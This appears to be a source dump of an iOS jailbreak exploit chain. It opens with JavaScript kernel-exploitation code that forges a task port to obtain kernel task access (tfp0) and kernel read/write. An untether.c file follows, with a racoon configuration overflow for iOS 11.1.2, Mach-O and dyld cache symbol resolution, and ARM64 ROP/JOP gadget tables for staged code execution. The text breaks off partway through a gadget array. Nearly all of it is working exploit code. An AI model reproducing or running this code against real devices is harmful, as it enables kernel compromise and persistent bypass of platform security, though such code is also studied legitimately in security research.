fake_task, 0x600); 1112 | } 1113 | scratch_array[0] = 0; // XXX FIXME: should be -1??? 1114 | let ret = fcall(pid_for_task_ptr, first_port, scratch); 1115 | return scratch_array[0]; 1116 | } 1117 | 1118 | let rk64 = function(addr) { 1119 | return new Uint64(rk32(addr), rk32(addr.add32(4))); 1120 | } 1121 | 1122 | // -------------- PLS WORK ----------------------------- 1123 | 1124 | let struct_task = rk64(self_port_addr.add32(offsets.KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 1125 | if ((struct_task.lo | struct_task.hi) == 0) { 1126 | throw 'struct_task'; 1127 | } 1128 | 1129 | // -------------- TFP0! -------------------------------- 1130 | 1131 | let kernel_vm_map; 1132 | let kernel_proc; 1133 | 1134 | while (struct_task.lo | struct_task.hi) { 1135 | let bsd_info = rk64(struct_task.add32(offsets.KSTRUCT_OFFSET_TASK_BSD_INFO)); 1136 | if ((bsd_info.lo | bsd_info.hi) == 0) { 1137 | throw 'bsd_info'; 1138 | } 1139 | 1140 | let pid = rk32(bsd_info.add32(offsets.KSTRUCT_OFFSET_PROC_PID)); 1141 | 1142 | if (pid == 0) { 1143 | let vm_map = rk64(struct_task.add32(offsets.KSTRUCT_OFFSET_TASK_VM_MAP)); 1144 | if ((vm_map.lo | vm_map.hi) == 0) { 1145 | throw 'vm_map'; 1146 | } 1147 | 1148 | kernel_vm_map = vm_map; 1149 | kernel_proc = bsd_info; 1150 | break; 1151 | } 1152 | 1153 | struct_task = rk64(struct_task.add32(offsets.KSTRUCT_OFFSET_TASK_PREV)); 1154 | } 1155 | 1156 | if (kernel_vm_map == undefined) { 1157 | throw 'kernel_vm_map'; 1158 | } 1159 | 1160 | if (SMAP) { 1161 | fcall(read_ptr, pipefdr, fake_task, 0x600); 1162 | } 1163 | 1164 | write8(fake_task, 0); // fake_task->lock.data = 0x0; 1165 | write4(fake_task.add32(8), (read4(fake_task.add32(8)) & 0xFFFFFF) | 0x22000000); // fake_task->lock.type = 0x22; 1166 | write4(fake_task.add32(0x10), 100); // fake_task->ref_count = 100; 1167 | write4(fake_task.add32(0x14), 1); // fake_task->active = 1; 1168 | write8(fake_task.add32(0x20), kernel_vm_map); // fake_task->map = kernel_vm_map; 1169 | write4(fake_task.add32(0xd8), 1); 1170 | 1171 | if (SMAP) { 1172 | fcall(write_ptr, pipefdw, fake_task, 0x600); 1173 | } 1174 | 1175 | tfpzero = first_port; 1176 | 1177 | rk32 = function(where) { 1178 | kread(where, scratch.add32(8), 4); 1179 | return scratch_array[2]; 1180 | } 1181 | 1182 | rk64 = function(where) { 1183 | kread(where, scratch.add32(8), 8); 1184 | return new Uint64(scratch_array[2], scratch_array[3]); 1185 | } 1186 | 1187 | wk32 = function(where, what) { 1188 | scratch_array[0] = what; 1189 | kwrite(where, scratch, 4); 1190 | } 1191 | 1192 | wk64 = function(where, what) { 1193 | if (what instanceof Uint64) { 1194 | scratch_array[0] = what.lo; 1195 | scratch_array[1] = what.hi; 1196 | } else if (what != undefined) { 1197 | scratch_array[0] = what; 1198 | scratch_array[1] = 0; 1199 | } 1200 | kwrite(where, scratch, 8); 1201 | } 1202 | 1203 | let new_tfp0 = new_port(); 1204 | if (!new_tfp0) { 1205 | throw 'new_tfp0'; 1206 | } 1207 | 1208 | let new_addr = find_port(new_tfp0, self_port_addr); 1209 | if ((new_addr.lo | new_addr.hi) == 0) { 1210 | throw 'new_addr'; 1211 | } 1212 | 1213 | let faketask = kalloc(0x600); 1214 | if ((faketask.lo | faketask.hi) == 0) { 1215 | throw 'faketask'; 1216 | } 1217 | 1218 | kwrite(faketask, fake_task, 0x600); 1219 | write8(fakeport.add32(0x68), faketask); // fakeport->ip_kobject = faketask; 1220 | 1221 | kwrite(new_addr, fakeport, 168); // sizeof(kport_t) 1222 | 1223 | tfpzero = new_tfp0; 1224 | 1225 | // clean up port 1226 | let task_addr = rk64(self_port_addr.add32(offsets.KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 1227 | let itk_space = rk64(task_addr.add32(offsets.KSTRUCT_OFFSET_TASK_ITK_SPACE)); 1228 | let is_table = rk64(itk_space.add32(offsets.KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); 1229 | 1230 | let port_index = first_port >> 8; 1231 | const sizeof_ipc_entry_t = 0x18; 1232 | 1233 | wk32(is_table.add32(port_index * sizeof_ipc_entry_t + 8), 0); 1234 | wk64(is_table.add32(port_index * sizeof_ipc_entry_t), 0); 1235 | 1236 | for (let i = 0; i < replacer_ports_limit; i++) { 1237 | fcall(mach_port_destroy_ptr, mach_task_self_, replacer_ports[i]); 1238 | } 1239 | replacer_ports = null; 1240 | 1241 | if (SMAP) { 1242 | fcall(close_ptr, pipefdr); 1243 | fcall(close_ptr, pipefdw); 1244 | } 1245 | 1246 | fcall(free_ptr, body); 1247 | fcall(free_ptr, fake_task); 1248 | IOSurface_deinit(); 1249 | 1250 | // grab some info 1251 | var realhost = rk64(rk64(is_table.add32((fcall(mach_host_self_ptr).lo >> 8) * sizeof_ipc_entry_t)).add32(offsets.KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 1252 | var current_proc = rk64(task_addr.add32(offsets.KSTRUCT_OFFSET_TASK_BSD_INFO)); 1253 | 1254 | // -------------- the easy part ------------------------ 1255 | 1256 | fcallv(dlsym("printf\x00"), sptr("realhost = %p, current_proc = %p\n\x00"), 0, realhost, current_proc); 1257 | 1258 | 42; 1259 | -------------------------------------------------------------------------------- /untether.c: -------------------------------------------------------------------------------- 1 | /* racoon iPhone7 11.1.2 2 | 3 | struct localconf *lcconf; // "failed to allocate local conf." 4 | __common:00000001000670E0 lcconf % 8 5 | 6 | ... setdefault() 7 | retry_counter: lcconf->0x10c 8 | retry_interval: lcconf->0x110 9 | 10 | struct isakmp_cfg_config isakmp_cfg_config; // "No more than %d DNS" 11 | __common:0000000100067C18 dns4 % 0xC 12 | __common:0000000100067C24 dns4_index % 4 13 | __common:0000000100067C28 wins4 % 0x10 14 | __common:0000000100067C38 nbns4_index % 4 15 | 16 | mode_cfg { 17 | wins4 1.2.3.4; # nbns4[0] 18 | wins4 1.2.3.4; # nbns4[1] 19 | wins4 1.2.3.4; # nbns4[2] 20 | wins4 1.2.3.4; # nbns4[3] 21 | wins4 255.255.255.255; # nbns4[4] {wins4_index} = -1 22 | wins4 50.253.255.255; # nbns4[-1] {dns4_index} = (0x1000670E0 - 0x100067C18) / 4 = -718, {wins4_index} = 0 23 | dns4 65.66.67.68; # dns[0] {lcconf.lo} = 0x45464748 24 | dns4 69.70.71.72; # dns[0] {lcconf.hi} = 0x41424344 25 | } 26 | timer { 27 | counter 1094795585; # lcconf->retry_counter {0x4142434445464748 + 0x10c} = 0x41414141 28 | interval 1094795585 sec; # lcconf->retry_interval {0x4142434445464748 + 0x110} = 0x41414141 29 | #persend 1094795585; # lcconf->count_persend {0x4142434445464748 + 0x114} = 0x41414141 30 | #phase1 1094795585 sec; # lcconf->retry_checkph1 {0x4142434445464748 + 0x118} = 0x41414141 31 | #phase2 1094795585 sec; # lcconf->wait_ph2complete {0x4142434445464748 + 0x11c} = 0x41414141 32 | #natt_keepalive 1094795585 sec; # lcconf->natt_ka_interval {0x4142434445464748 + 0x120} = 0x41414141 33 | } 34 | mode_cfg { 35 | banner "aaaaaaaa"; # trigger strlcpy -> _platform_memmove by lazy binding (or 'default_domain') 36 | } 37 | 38 | */ 39 | 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | 51 | #include "config.h" 52 | #include "config.bin" 53 | #include "ac.c" 54 | #include "patchfinder64.c" 55 | 56 | //#define BREAKPOINT_0 57 | //#define BREAKPOINT_1 58 | 59 | //#define FORCE_ALT_PIVOT 1 60 | //#define FORCE_BAD_CHAIN 1 61 | 62 | #define SHARED_REGION_BASE_ARM64 0x180000000 63 | #define SHARED_REGION_SIZE_ARM64 0x40000000 64 | 65 | struct dyld_cache_header { 66 | char magic[16]; /* e.g. "dyld_v0 ppc" */ 67 | uint32_t mappingOffset; /* file offset to first dyld_cache_mapping_info */ 68 | uint32_t mappingCount; /* number of dyld_cache_mapping_info entries */ 69 | uint32_t imagesOffset; /* file offset to first dyld_cache_image_info */ 70 | uint32_t imagesCount; /* number of dyld_cache_image_info entries */ 71 | uint64_t dyldBaseAddress; /* base address of dyld when cache was built */ 72 | uint64_t codeSignatureOffset; /* file offset in of code signature blob */ 73 | uint64_t codeSignatureSize; /* size of code signature blob (zero means to end of file) */ 74 | }; 75 | 76 | struct dyld_cache_mapping_info { 77 | uint64_t address; 78 | uint64_t size; 79 | uint64_t fileOffset; 80 | uint32_t maxProt; 81 | uint32_t initProt; 82 | }; 83 | 84 | struct dyld_cache_image_info { 85 | uint64_t address; 86 | uint64_t modTime; 87 | uint64_t inode; 88 | uint32_t pathFileOffset; 89 | uint32_t pad; 90 | }; 91 | 92 | static uint64_t 93 | read_uleb128(const uint8_t **q, const uint8_t *end) 94 | { 95 | const uint8_t *p = *q; 96 | uint64_t result = 0; 97 | int bit = 0; 98 | do { 99 | uint64_t slice; 100 | 101 | if (p == end) { 102 | errx(1, "malformed uleb128 extends beyond trie"); 103 | } 104 | 105 | slice = *p & 0x7f; 106 | 107 | if (bit >= 64 || slice << bit >> bit != slice) { 108 | errx(1, "uleb128 too big for 64-bits"); 109 | } else { 110 | result |= (slice << bit); 111 | bit += 7; 112 | } 113 | } while (*p++ & 0x80); 114 | *q = p; 115 | return result; 116 | } 117 | 118 | static void 119 | processExportNode(const uint8_t *const start, const uint8_t *p, const uint8_t* const end, char *cummulativeString, int curStrOffset, uint64_t *loc, const char *sym) 120 | { 121 | if (p >= end) { 122 | errx(1, "malformed trie, node past end"); 123 | } 124 | const uint8_t terminalSize = read_uleb128(&p, end); 125 | const uint8_t *children = p + terminalSize; 126 | if (terminalSize != 0) { 127 | /*uintptr_t nodeOffset = p - start;*/ 128 | const char *name = strdup(cummulativeString); 129 | uint64_t address; 130 | uint64_t flags = read_uleb128(&p, end); 131 | uint64_t other; 132 | const char *importName; 133 | 134 | if (flags & EXPORT_SYMBOL_FLAGS_REEXPORT) { 135 | address = 0; 136 | other = read_uleb128(&p, end); 137 | importName = (char*)p; 138 | //printf("[%s] -> [%s]%d\n", name, importName, other); 139 | } else { 140 | address = read_uleb128(&p, end); 141 | if (!strcmp(sym, name)) { 142 | *loc = address; 143 | } 144 | if (flags & EXPORT_SYMBOL_FLAGS_STUB_AND_RESOLVER) { 145 | other = read_uleb128(&p, end); 146 | } else { 147 | other = 0; 148 | } 149 | importName = NULL; 150 | } 151 | /*printf("%llx: %s\n", address, name);*/ 152 | free((char *)name); 153 | } 154 | 155 | const uint8_t childrenCount = *children++; 156 | const uint8_t *s = children; 157 | uint8_t i; 158 | for (i = 0; i < childrenCount; ++i) { 159 | int edgeStrLen = 0; 160 | while (*s != '\0') { 161 | cummulativeString[curStrOffset + edgeStrLen] = *s++; 162 | ++edgeStrLen; 163 | } 164 | cummulativeString[curStrOffset + edgeStrLen] = *s++; 165 | uint32_t childNodeOffset = read_uleb128(&s, end); 166 | if (childNodeOffset == 0) { 167 | errx(1, "malformed trie, childNodeOffset==0"); 168 | } 169 | processExportNode(start, start + childNodeOffset, end, cummulativeString, curStrOffset + edgeStrLen, loc, sym); 170 | } 171 | } 172 | 173 | static void 174 | do_export(const unsigned char *p, off_t sz, uint32_t export_off, uint32_t export_size, uint64_t *loc, const char *sym) 175 | { 176 | const unsigned char *q = p + export_off; 177 | const unsigned char *end = q + export_size; 178 | char *cummulativeString; 179 | if (q == end) { 180 | return; 181 | } 182 | cummulativeString = malloc(end - q); 183 | if (!cummulativeString) { 184 | errx(1, "out of memory"); 185 | } 186 | processExportNode(q, q, end, cummulativeString, 0, loc, sym); 187 | free(cummulativeString); 188 | } 189 | 190 | static uint64_t 191 | macho_sym(const uint8_t *p, uint64_t sz, const uint8_t *bp, const char *sym) 192 | { 193 | uint32_t i; 194 | const struct mach_header *hdr = (struct mach_header *)p; 195 | const uint8_t *q; 196 | uint64_t base = 0; 197 | uint64_t loc = 0; 198 | 199 | assert(MACHO(p) && IS64(p)); 200 | 201 | q = (const uint8_t *)(hdr + 1) + 4; 202 | for (i = 0; i < hdr->ncmds; i++) { 203 | const struct load_command *cmd = (struct load_command *)q; 204 | if (cmd->cmd == LC_SEGMENT_64) { 205 | const struct segment_command_64 *seg = (struct segment_command_64 *)q; 206 | if (!strcmp(seg->segname, "__TEXT")) { 207 | base = seg->vmaddr; 208 | break; 209 | } 210 | } 211 | q = q + cmd->cmdsize; 212 | } 213 | 214 | q = (const uint8_t *)(hdr + 1) + 4; 215 | for (i = 0; i < hdr->ncmds; i++) { 216 | const struct load_command *cmd = (struct load_command *)q; 217 | if (cmd->cmd == LC_DYLD_INFO_ONLY) { 218 | const struct dyld_info_command *dic = (struct dyld_info_command *)q; 219 | do_export(bp, sz, dic->export_off, dic->export_size, &loc, sym); 220 | } 221 | q = q + cmd->cmdsize; 222 | } 223 | if (!loc) { 224 | return 0; 225 | } 226 | 227 | return base + loc; 228 | } 229 | 230 | static uint64_t 231 | macho_stub(const uint8_t *p, uint64_t sz, const uint8_t *bp, const struct dyld_cache_mapping_info *map, uint64_t fun) 232 | { 233 | uint32_t i; 234 | const struct mach_header *hdr = (struct mach_header *)p; 235 | const uint8_t *q; 236 | uint64_t loc = 0; 237 | 238 | assert(MACHO(p) && IS64(p)); 239 | 240 | if (!fun) { 241 | return 0; 242 | } 243 | 244 | q = (const uint8_t *)(hdr + 1) + 4; 245 | for (i = 0; i < hdr->ncmds; i++) { 246 | const struct load_command *cmd = (struct load_command *)q; 247 | if (cmd->cmd == LC_SEGMENT_64) { 248 | const struct segment_command_64 *seg = (struct segment_command_64 *)q; 249 | if (!strcmp(seg->segname, "__DATA_CONST")) { 250 | unsigned j; 251 | const struct section_64 *sec = (struct section_64 *)(seg + 1); 252 | for (j = 0; j < seg->nsects; j++) { 253 | if (!strcmp(sec[j].sectname, "__la_symbol_ptr")) { 254 | uint64_t *secptr = (uint64_t *)(bp + sec[j].addr - map[1].address + map[1].fileOffset); 255 | size_t k, size = sec[j].size / sizeof(uint64_t); 256 | for (k = 0; k < size; k++) { 257 | // XXX smart relo pointer 258 | if ((secptr[k] & 0x1FFFFFFFF) == fun) { 259 | loc = sec[j].addr + k * 8; 260 | break; 261 | } 262 | } 263 | break; 264 | } 265 | } 266 | } 267 | } 268 | q = q + cmd->cmdsize; 269 | } 270 | 271 | if (!loc) { 272 | return 0; 273 | } 274 | 275 | q = (const uint8_t *)(hdr + 1) + 4; 276 | for (i = 0; i < hdr->ncmds; i++) { 277 | const struct load_command *cmd = (struct load_command *)q; 278 | if (cmd->cmd == LC_SEGMENT_64) { 279 | const struct segment_command_64 *seg = (struct segment_command_64 *)q; 280 | if (!strcmp(seg->segname, "__TEXT")) { 281 | unsigned j; 282 | const struct section_64 *sec = (struct section_64 *)(seg + 1); 283 | for (j = 0; j < seg->nsects; j++) { 284 | if (!strcmp(sec[j].sectname, "__stubs")) { 285 | size_t k, size = sec[j].size / sizeof(uint32_t); 286 | uint64_t pos = sec[j].addr - map[0].address + map[0].fileOffset; 287 | for (k = 0; k < size; k += 3) { 288 | uint64_t start = pos + k * sizeof(uint32_t); 289 | uint64_t end = start + 3 * sizeof(uint32_t); 290 | addr_t x16 = calc64(bp, start, end, 16); 291 | if (x16 && x16 + map[0].address == loc) { 292 | return sec[j].addr + k * sizeof(uint32_t); 293 | } 294 | } 295 | break; 296 | } 297 | } 298 | } 299 | } 300 | q = q + cmd->cmdsize; 301 | } 302 | 303 | return 0; 304 | } 305 | 306 | #define countof(x) sizeof(x) / sizeof(*(x)) 307 | 308 | static struct gadget_t { 309 | uint64_t addr; 310 | uint8_t *bytes; 311 | size_t length; 312 | uint8_t *bytes2; 313 | size_t length2; 314 | } gadgets[] = { 315 | /* 316 | jop: 317 | a9400028 ldp x8, x0, [x1] 318 | d63f0100 blr x8 319 | alt-jop: 320 | a94002a8 ldp x8, x0, [x21] 321 | d63f0100 blr x8 322 | */ 323 | { 0, (uint8_t *)&(uint32_t []){ 0xa9400028, 0xd63f0100 }, 2 * 4, 324 | (uint8_t *)&(uint32_t []){ 0xa94002a8, 0xd63f0100 }, 2 * 4 }, 325 | /* 326 | pivot: 327 | 9100003f mov sp, x1 328 | d61f0000 br x0 329 | alt-pivot: XXX this is functionally different (see gadget_first) 330 | 9100003f mov sp, x1 331 | 910043ff add sp, sp, #0x10 332 | XXX iOS 12 may have some junk here: d296648d movz x13, #0xb324 333 | d63f0000 blr x0 334 | */ 335 | { 0, (uint8_t *)&(uint32_t []){ 0x9100003f, 0xd61f0000 }, 2 * 4, 336 | (uint8_t *)&(uint32_t []){ 0x9100003f, 0x910043ff, 0xd63f0000 }, 3 * 4 }, 337 | /* 338 | first: 339 | a9417bfd ldp x29, x30, [sp, #0x10] 340 | a8c24ff4 ldp x20, x19, [sp], #0x20 341 | d65f03c0 ret 342 | */ 343 | { 0, (uint8_t *)&(uint32_t []){ 0xa9417bfd, 0xa8c24ff4, 0xd65f03c0 }, 3 * 4, NULL, 0 }, 344 | /* 345 | nop: 346 | a8c17bfd ldp x29, x30, [sp], #0x10 347 | d65f03c0 ret 348 | */ 349 | { 0, (uint8_t *)&(uint32_t []){ 0xa8c17bfd, 0xd65f03c0 }, 2 * 4, NULL, 0 }, 350 | /* 351 | retx8: 352 | f94007e8 ldr x8, [sp, #8] 353 | d63f0100 blr x8 354 | */ 355 | { 0, (uint8_t *)&(uint32_t []){ 0xf94007e8, 0xd63f0100 }, 2 * 4, NULL, 0 }, 356 | /* 357 | loadx0: 358 | f94003e0 ldr x0, [sp] 359 | d63f0100 blr x8 360 | */ 361 | { 0, (uint8_t *)&(uint32_t []){ 0xf94003e0, 0xd63f0100 }, 2 * 4, NULL, 0 }, 362 | /* 363 | loadx1: 364 | f94003e1 ldr x1, [sp] 365 | d63f0100 blr x8 366 | */ 367 | { 0, (uint8_t *)&(uint32_t []){ 0xf94003e1, 0xd63f0100 }, 2 * 4, NULL, 0 }, 368 | /* 369 | loadx2: 370 | f94003e2 ldr x2, [sp] 371 | d63f0100 blr x8 372 | */ 373 | { 0, (uint8_t *)&(uint32_t []){ 0xf94003e2, 0xd63f0100 }, 2 * 4, NULL, 0 }, 374 | /* 375 | loadx3: 376 | f94003e3 ldr x3, [sp] 377 | d63f0100 blr x8 378 | */ 379 | { 0, (uint8_t *)&(uint32_t []){ 0xf94003e3, 0xd63f0100 }, 2 * 4, NULL, 0 }, 380 | /* 381 | zerox5: 382 | d2800005 movz x5, #0 383 | d63f0100 blr x8 384 | */ 385 | { 0, (uint8_t *)&(uint32_t []){ 0xd2800005, 0xd63f0100 }, 2 * 4, NULL, 0 }, 386 | /* 387 | loadx6: 388 | f94003e6 ldr x6, [sp] 389 | d63f0100 blr x8 390 | alt-loadx6: 391 | a9400be6 ldp x6, x2, [sp] 392 | aa1903e4 mov x4, x25 393 | aa1a03e5 mov x5, x26 394 | d63f0100 blr x8 395 | */ 396 | { 0, (uint8_t *)&(uint32_t []){ 0xf94003e6, 0xd63f0100 }, 2 * 4, 397 | (uint8_t *)&(uint32_t []){ 0xa9400be6, 0xaa1903e4, 0xaa1a03e5, 0xd63f0100 }, 4 * 4 }, 398 | /* 399 | adrx0_170: 400 | 9105c3e0 add x0, sp, #0x170 401 | d63f0100 blr x8 402 | */ 403 | { 0, (uint8_t *)&(uint32_t []){ 0x9105c3e0, 0xd63f0100 }, 2 * 4, NULL, 0 }, 404 | /* 405 | adrx0_230: 406 | 9108c3e0 add x0, sp, #0x230 407 | d63f0100 blr x8 408 | alt-adrx0_230 409 | 9108c3e0 add x0, sp, #0x230 410 | 910803e1 add x1, sp, #0x200 411 | d63f0100 blr x8 412 | */ 413 | { 0, (uint8_t *)&(uint32_t []){ 0x9108c3e0, 0xd63f0100 }, 2 * 4, 414 | (uint8_t *)&(uint32_t []){ 0x9108c3e0, 0x910803e1, 0xd63f0100 }, 3 * 4 }, 415 | /* 416 | mov_x1_x0: 417 | aa0003e1 mov x1, x0 418 | d63f0100 blr x8 419 | */ 420 | { 0, (uint8_t *)&(uint32_t []){ 0xaa0003e1, 0xd63f0100 }, 2 * 4, NULL, 0 }, 421 | /* 422 | mov_x4_x0: 423 | aa0003e4 mov x4, x0 424 | aa1303e0 mov x0, x19 425 | d63f0100 blr x8 426 | alt-mov_x4_x0: 427 | aa0003e4 mov x4, x0 428 | aa1403e0 mov x0, x20 429 | d63f0100 blr x8 430 | */ 431 | { 0, (uint8_t *)&(uint32_t []){ 0xaa0003e4, 0xaa1303e0, 0xd63f0100 }, 3 * 4, 432 | (uint8_t *)&(uint32_t []){ 0xaa0003e4, 0xaa1403e0, 0xd63f0100 }, 3 * 4 }, 433 | /* 434 | call6: 435 | a8c17bfd ldp x29, x30, [sp], #0x10 436 | d61f00c0 br x6 437 | */ 438 | { 0, (uint8_t *)&(uint32_t []){ 0xa8c17bfd, 0xd61f00c0 }, 2 * 4, NULL, 0 }, 439 | /* 440 | str_x0_x1: 441 | f9000020 str x0, [x1] 442 | a8c17bfd ldp x29, x30, [sp], #0x10 443 | d65f03c0 ret 444 | */ 445 | { 0, (uint8_t *)&(uint32_t []){ 0xf9000020, 0xa8c17bfd, 0xd65f03c0 }, 3 * 4, NULL, 0 }, 446 | /* 447 | set_sp: 448 | 910003bf mov sp, x29 449 | a8c17bfd ldp x29, x30, [sp], #0x10 450 | d65f03c0 ret 451 | */ 452 | { 0, (uint8_t *)&(uint32_t []){ 0x910003bf, 0xa8c17bfd, 0xd65f03c0 }, 3 * 4, NULL, 0 }, 453 | /* 454 | neg_x0: 455 | aa2003e0 mvn x0, x0 456 | a8c17bfd ldp x29, x30, [sp], #0x10 457 | d65f03c0 ret 458 | */ 459 | { 0, (uint8_t *)&(uint32_t []){ 0xaa2003e0, 0xa8c17bfd, 0xd65f03c0 }, 3 * 4, NULL, 0 }, 460 | #if 1 // these are used inside stage2 to gain initial code execution inside remote process 461 | /* 462 | pivot_from_10: 463 | f9404940 ldr x0, [x10, #0x90] 464 | f9400008 ldr x8, [x0] 465 | f9406508 ldr x8, [x8, #0xc8] 466 | d63f0100 blr x8 467 | */ 468 | { 0, (uint8_t *)&(uint32_t []){ 0xf9404940, 0xf9400008, 0xf9406508, 0xd63f0100 }, 4 * 4, NULL, 0 }, 469 | /* 470 | jmp_4args: 471 | a9420408 ldp x8, x1, [x0, #0x20] 472 | a9430c02 ldp x2, x3, [x0, #0x30] 473 | f9400904 ldr x4, [x8, #0x10] 474 | aa0803e0 mov x0, x8 475 | d61f0080 br x4 476 | */ 477 | { 0, (uint8_t *)&(uint32_t []){ 0xa9420408, 0xa9430c02, 0xf9400904, 0xaa0803e0, 0xd61f0080 }, 5 * 4, NULL, 0 }, 478 | /* 479 | lea_x0_jmp_x8: 480 | f9400108 ldr x8, [x8] 481 | 910023e0 add x0, sp, #8 482 | d63f0100 blr x8 483 | */ 484 | { 0, (uint8_t *)&(uint32_t []){ 0xf9400108, 0x910023e0, 0xd63f0100 }, 3 * 4, NULL, 0 }, 485 | #endif 486 | #if 1 // these are used inside stage3 to map stage4 487 | /* 488 | adrx0_100: 489 | 910403e0 add x0, sp, #0x100 490 | d63f0100 blr x8 491 | */ 492 | { 0, (uint8_t *)&(uint32_t []){ 0x910403e0, 0xd63f0100 }, 2 * 4, NULL, 0 }, 493 | #endif 494 | /* 495 | jop2: 496 | a9400422 ldp x2, x1, [x1] 497 | d61f0040 br x2 498 | */ 499 | { 0, (uint8_t *)&(uint32_t []){ 0xa9400422, 0xd61f0040 }, 2 * 4, NULL, 0 }, 500 | }; 501 | 502 | static AC_STRUCT * 503 | ac_init(void) 504 | { 505 | int rv; 506 | size_t i, na = countof(gadgets); 507 | AC_STRUCT *node = ac_alloc(); 508 | if (!node) { 509 | return NULL; 510 | } 511 | for (i = 0; i < na; i++) { 512 | rv = ac_add_string(node, (char *)gadgets[i].bytes, gadgets[i].length, i + 1); 513 | if (!rv) { 514 | ac_free(node); 515 | return NULL; 516 | } 517 | } 518 | rv = ac_prep(node); 519 | if (!rv) { 520 | fprintf(stderr, "!ac_prep\n"); 521 | ac_free(node); 522 | return NULL; 523 | } 524 | return node; 525 | } 526 | 527 | static int 528 | search_gadgets(const uint8_t *p, size_t sz) 529 | { 530 | const uint8_t *q = p; 531 | size_t i, j = 0, n = countof(gadgets); 532 | if (n > 1) { 533 | AC_STRUCT *ac = ac_init(); 534 | if (ac) { 535 | ac_search_init(ac, (char *)p, sz); 536 | while (n > 1) { 537 | int id = 0; 538 | int length = 0; 539 | char *found = ac_search(ac, &length, &id); 540 | if (!found) { 541 | break; 542 | } 543 | if (!gadgets[id - 1].addr) { 544 | printf("ac found gadget[%d] 0x%zx, size=%d\n", id - 1, found - (char *)p, length); 545 | gadgets[id - 1].addr = found - (char *)p; 546 | n--; 547 | } 548 | q = (uint8_t *)found; 549 | } 550 | ac_free(ac); 551 | } 552 | } 553 | for (i = 0; i < countof(gadgets); i++) { 554 | if (!gadgets[i].addr) { 555 | uint8_t *found = boyermoore_horspool_memmem(q, p + sz - q, gadgets[i].bytes, gadgets[i].length); 556 | if (!found) { 557 | fprintf(stderr, "gadget %zu missing\n", i); 558 | j++; 559 | } else { 560 | gadgets[i].addr = found - p; 561 | printf("bm found gadget[%zu] 0x%llx, size=%zu\n", i, gadgets[i].addr, gadgets[i].length); 562 | } 563 | } 564 | } 565 | return j; 566 | } 567 | 568 | static struct gadget_t gadgets_more[] = { 569 | /* 570 | gadgets_0: 571 | f940008c ldr x12, [x4] 572 | f9401985 ldr x5, [x12, #0x30] 573 | aa0403e0 mov x0, x4 574 | aa0b03e1 mov x1, x11 575 | aa0a03e2 mov x2, x10 576 | aa0903e3 mov x3, x9 577 | aa0803e4 mov x4, x8 578 | d61f00a0 br x5 579 | alt-gadgets_0: 580 | f9400089 ldr x9, [x4] 581 | f9401925 ldr x5, [x9, #0x30] 582 | aa0403e0 mov x0, x4 583 | aa0803e4 mov x4, x8 584 | d61f00a0 br x5 585 | */ 586 | { 0, (uint8_t *)&(uint32_t []){ 0xf940008c, 0xf9401985, 0xaa0403e0, 0xaa0b03e1, 0xaa0a03e2, 0xaa0903e3, 0xaa0803e4, 0xd61f00a0 }, 8 * 4, 587 | (uint8_t *)&(uint32_t []){ 0xf9400089, 0xf9401925, 0xaa0403e0, 0xaa0803e4, 0xd61f00a0 }, 5 * 4 }, 588 | /* 589 | gadgets_1: 590 | f9400408 ldr x8, [x0, #8] 591 | f9400900 ldr x0, [x8, #0x10] 592 | f9400008 ldr x8, [x0] 593 | f9400d01 ldr x1, [x8, #0x18] 594 | d61f0020 br x1 595 | */ 596 | { 0, (uint8_t *)&(uint32_t []){ 0xf9400408, 0xf9400900, 0xf9400008, 0xf9400d01, 0xd61f0020 }, 5 * 4, NULL, 0 }, 597 | /* 598 | gadgets_2: 599 | f9400408 ldr x8, [x0, #8] 600 | f9400d00 ldr x0, [x8, #0x18] 601 | b4000080 cbz x0, ... 602 | f9400008 ldr x8, [x0] 603 | f9403101 ldr x1, [x8, #0x60] 604 | d61f0020 br x1 605 | */ 606 | { 0, (uint8_t *)&(uint32_t []){ 0xf9400408, 0xf9400d00, 0xb4000080, 0xf9400008, 0xf9403101, 0xd61f0020 }, 6 * 4, NULL, 0 }, 607 | /* 608 | gadgets_3: 609 | a9bf7bfd stp x29, x30, [sp, #-0x10]! 610 | 910003fd mov x29, sp 611 | f9400808 ldr x8, [x0, #0x10] 612 | d63f0100 blr x8 613 | d2800000 movz x0, #0 614 | a8c17bfd ldp x29, x30, [sp], #0x10 615 | d65f03c0 ret 616 | */ 617 | { 0, (uint8_t *)&(uint32_t []){ 0xa9bf7bfd, 0x910003fd, 0xf9400808, 0xd63f0100, 0xd2800000, 0xa8c17bfd, 0xd65f03c0 }, 7 * 4, NULL, 0 }, 618 | /* 619 | gadgets_4: 620 | a9420001 ldp x1, x0, [x0, #0x20] 621 | d61f0020 br x1 622 | */ 623 | { 0, (uint8_t *)&(uint32_t []){ 0xa9420001, 0xd61f0020 }, 2 * 4, NULL, 0 }, 624 | /* 625 | gadgets_5: 626 | a9be4ff4 stp x20, x19, [sp, #-0x20]! 627 | a9017bfd stp x29, x30, [sp, #0x10] 628 | 910043fd add x29, sp, #0x10 629 | aa0003f3 mov x19, x0 630 | a9402260 ldp x0, x8, [x19] 631 | b9401261 ldr w1, [x19, #0x10] 632 | a9418e62 ldp x2, x3, [x19, #0x18] 633 | f9401a64 ldr x4, [x19, #0x30] 634 | d63f0100 blr x8 635 | f9001660 str x0, [x19, #0x28] 636 | a9417bfd ldp x29, x30, [sp, #0x10] 637 | a8c24ff4 ldp x20, x19, [sp], #0x20 638 | d65f03c0 ret 639 | alt-gadgets_5: 640 | a9be4ff4 stp x20, x19, [sp, #-0x20]! 641 | a9017bfd stp x29, x30, [sp, #0x10] 642 | 910043fd add x29, sp, #0x10 643 | aa0003f3 mov x19, x0 644 | f9400000 ldr x0, [x0] 645 | f9400668 ldr x8, [x19, #8] 646 | b9401261 ldr w1, [x19, #0x10] 647 | a9418e62 ldp x2, x3, [x19, #0x18] 648 | f9401a64 ldr x4, [x19, #0x30] 649 | d63f0100 blr x8 650 | f9001660 str x0, [x19, #0x28] 651 | a9417bfd ldp x29, x30, [sp, #0x10] 652 | a8c24ff4 ldp x20, x19, [sp], #0x20 653 | d65f03c0 ret 654 | */ 655 | { 0, (uint8_t *)&(uint32_t []){ 0xa9be4ff4, 0xa9017bfd, 0x910043fd, 0xaa0003f3, 0xa9402260, 0xb9401261, 0xa9418e62, 0xf9401a64, 0xd63f0100, 0xf9001660, 